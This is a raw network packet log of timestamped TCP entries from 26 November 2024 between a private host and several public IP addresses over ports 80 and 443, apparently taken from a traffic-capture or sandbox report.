Nov 26, 2024 22:52:46.715009928 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.715024948 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.715074062 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.719027996 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.719049931 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.719063997 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.719101906 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.719139099 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.767549992 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.767591953 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.767599106 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.767616034 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.767628908 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.767643929 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.767647982 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.767677069 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.767692089 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.767692089 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.767721891 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.781079054 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:46.836456060 CET	443	49855	13.107.21.237	192.168.2.7
Nov 26, 2024 22:52:46.836761951 CET	49855	443	192.168.2.7	13.107.21.237
Nov 26, 2024 22:52:46.836781979 CET	443	49855	13.107.21.237	192.168.2.7
Nov 26, 2024 22:52:46.837146044 CET	443	49855	13.107.21.237	192.168.2.7
Nov 26, 2024 22:52:46.837202072 CET	49855	443	192.168.2.7	13.107.21.237
Nov 26, 2024 22:52:46.837860107 CET	443	49855	13.107.21.237	192.168.2.7
Nov 26, 2024 22:52:46.838032007 CET	49855	443	192.168.2.7	13.107.21.237
Nov 26, 2024 22:52:46.839037895 CET	49855	443	192.168.2.7	13.107.21.237
Nov 26, 2024 22:52:46.839101076 CET	443	49855	13.107.21.237	192.168.2.7
Nov 26, 2024 22:52:46.863188982 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.863217115 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.863224983 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.863251925 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.863270044 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.863274097 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.863280058 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.863292933 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.863297939 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.863318920 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.863339901 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.868720055 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:46.869100094 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:46.869112968 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:46.870117903 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:46.870174885 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:46.870495081 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:46.870553017 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:46.874068022 CET	443	49854	20.110.205.119	192.168.2.7
Nov 26, 2024 22:52:46.874424934 CET	49854	443	192.168.2.7	20.110.205.119
Nov 26, 2024 22:52:46.874438047 CET	443	49854	20.110.205.119	192.168.2.7
Nov 26, 2024 22:52:46.875511885 CET	443	49854	20.110.205.119	192.168.2.7
Nov 26, 2024 22:52:46.875566006 CET	49854	443	192.168.2.7	20.110.205.119
Nov 26, 2024 22:52:46.876669884 CET	49854	443	192.168.2.7	20.110.205.119
Nov 26, 2024 22:52:46.876739979 CET	443	49854	20.110.205.119	192.168.2.7
Nov 26, 2024 22:52:46.879534960 CET	49855	443	192.168.2.7	13.107.21.237
Nov 26, 2024 22:52:46.879549980 CET	443	49855	13.107.21.237	192.168.2.7
Nov 26, 2024 22:52:46.901041985 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:46.923449039 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:46.923455954 CET	49855	443	192.168.2.7	13.107.21.237
Nov 26, 2024 22:52:46.923469067 CET	443	49857	104.70.121.41	192.168.2.7
Nov 26, 2024 22:52:46.923485041 CET	49854	443	192.168.2.7	20.110.205.119
Nov 26, 2024 22:52:46.923492908 CET	443	49854	20.110.205.119	192.168.2.7
Nov 26, 2024 22:52:46.925276041 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.925353050 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.925506115 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.925647974 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.925683975 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.925699949 CET	49844	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.925707102 CET	443	49844	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.929622889 CET	49865	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.929683924 CET	443	49865	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.929883957 CET	49865	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.930099010 CET	49865	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.930135965 CET	443	49865	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.946923018 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.946958065 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.947035074 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.947061062 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.947098970 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.947730064 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.972362995 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.972445965 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.972549915 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.972817898 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.972836971 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.972848892 CET	49846	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.972856045 CET	443	49846	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.975699902 CET	49857	443	192.168.2.7	104.70.121.41
Nov 26, 2024 22:52:46.975718975 CET	49854	443	192.168.2.7	20.110.205.119
Nov 26, 2024 22:52:46.976893902 CET	49866	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.976936102 CET	443	49866	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.977106094 CET	49866	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.977313995 CET	49866	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.977324963 CET	443	49866	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.989916086 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.989938021 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.990004063 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:46.990037918 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:46.990093946 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.041188002 CET	49867	443	192.168.2.7	40.118.171.167
Nov 26, 2024 22:52:47.041215897 CET	443	49867	40.118.171.167	192.168.2.7
Nov 26, 2024 22:52:47.041295052 CET	49867	443	192.168.2.7	40.118.171.167
Nov 26, 2024 22:52:47.041534901 CET	49867	443	192.168.2.7	40.118.171.167
Nov 26, 2024 22:52:47.041549921 CET	443	49867	40.118.171.167	192.168.2.7
Nov 26, 2024 22:52:47.048624039 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.048655987 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.048834085 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.048854113 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.049006939 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.079823017 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.080329895 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.080354929 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.080804110 CET	49856	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.080810070 CET	443	49856	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.092473030 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.092499018 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.092566967 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.092585087 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.092603922 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.092643023 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.102468014 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.102560997 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.102631092 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.103017092 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.103027105 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.103039980 CET	49847	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.103045940 CET	443	49847	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.105648994 CET	49868	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.105676889 CET	443	49868	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.105799913 CET	49868	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.105952978 CET	49868	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.105967045 CET	443	49868	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.120547056 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.120590925 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.120614052 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.120644093 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.120657921 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.120779991 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.132349014 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.132407904 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.132435083 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.132493973 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.132534027 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.132780075 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.132797956 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.132812977 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.132833958 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.171679974 CET	443	49861	104.70.121.176	192.168.2.7
Nov 26, 2024 22:52:47.171938896 CET	49861	443	192.168.2.7	104.70.121.176
Nov 26, 2024 22:52:47.171961069 CET	443	49861	104.70.121.176	192.168.2.7
Nov 26, 2024 22:52:47.173274994 CET	443	49861	104.70.121.176	192.168.2.7
Nov 26, 2024 22:52:47.173336029 CET	49861	443	192.168.2.7	104.70.121.176
Nov 26, 2024 22:52:47.185940981 CET	49861	443	192.168.2.7	104.70.121.176
Nov 26, 2024 22:52:47.186140060 CET	443	49861	104.70.121.176	192.168.2.7
Nov 26, 2024 22:52:47.219562054 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.219619036 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.219702959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.219749928 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.219902039 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.219917059 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.219953060 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.220928907 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.220942020 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.220979929 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.222745895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.222764015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.222815037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.222825050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.223958015 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.223984003 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.224023104 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.224064112 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.224070072 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.224108934 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.224128962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.224153996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.224888086 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.224904060 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.224950075 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.224972963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.225037098 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.225156069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.225199938 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.226042032 CET	49861	443	192.168.2.7	104.70.121.176
Nov 26, 2024 22:52:47.226058960 CET	443	49861	104.70.121.176	192.168.2.7
Nov 26, 2024 22:52:47.226476908 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.226492882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.226524115 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.228118896 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.228291035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.228346109 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.228488922 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.228513002 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.228527069 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.228549957 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.228990078 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.229047060 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.229082108 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.229182005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.229609013 CET	443	49863	23.200.3.33	192.168.2.7
Nov 26, 2024 22:52:47.229820013 CET	49863	443	192.168.2.7	23.200.3.33
Nov 26, 2024 22:52:47.229840994 CET	443	49863	23.200.3.33	192.168.2.7
Nov 26, 2024 22:52:47.229978085 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.230025053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.230041981 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.230113029 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.230921030 CET	443	49863	23.200.3.33	192.168.2.7
Nov 26, 2024 22:52:47.230983019 CET	49863	443	192.168.2.7	23.200.3.33
Nov 26, 2024 22:52:47.231008053 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.231111050 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.231153965 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.231976032 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.231976986 CET	49863	443	192.168.2.7	23.200.3.33
Nov 26, 2024 22:52:47.232028961 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.232054949 CET	443	49863	23.200.3.33	192.168.2.7
Nov 26, 2024 22:52:47.232117891 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.232173920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.232959032 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.233021021 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.233063936 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.233388901 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.234009981 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.234035969 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.234077930 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.234096050 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:47.234132051 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.234142065 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:47.234179974 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.234194040 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.234225035 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.234239101 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.234939098 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.234983921 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.235023022 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.235183001 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.235944986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.235987902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.236046076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.236205101 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.236963987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.237010002 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.237062931 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.237101078 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.237910986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.237962961 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.238042116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.238192081 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.238892078 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.238970995 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.238996029 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.239106894 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.239871979 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.239931107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.239964008 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.240003109 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.240874052 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.241003036 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.241004944 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.241040945 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.241878033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.241919994 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.242060900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.242156029 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.242842913 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.242897987 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.242950916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.243050098 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.243869066 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.243922949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.243933916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.243972063 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.244846106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.244894981 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.245765924 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.245810986 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.246602058 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.246617079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.246653080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.246680021 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.247435093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.247450113 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.247490883 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.247500896 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.248096943 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.248111963 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.248152971 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.248796940 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.248841047 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.248889923 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.248950005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.249782085 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.249855995 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.249857903 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.249893904 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.251059055 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.251072884 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.251126051 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.251167059 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.251811981 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.251861095 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.251861095 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.252039909 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.252763987 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.252860069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.252906084 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.253735065 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.253798008 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.253818989 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.253856897 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.254931927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.254983902 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.254987955 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.255017996 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.255729914 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.255800962 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.255831957 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.255943060 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.256705999 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.256794930 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.256841898 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.256897926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.257699966 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.257744074 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.257811069 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.257846117 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.258693933 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.258758068 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.258793116 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.258832932 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.259701967 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.259814978 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.259864092 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.260656118 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.260751963 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.260874033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.260927916 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.261749029 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.261761904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:47.261801004 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:47.262633085 CET	80	49801	185.215.113.206	192.168.2.7
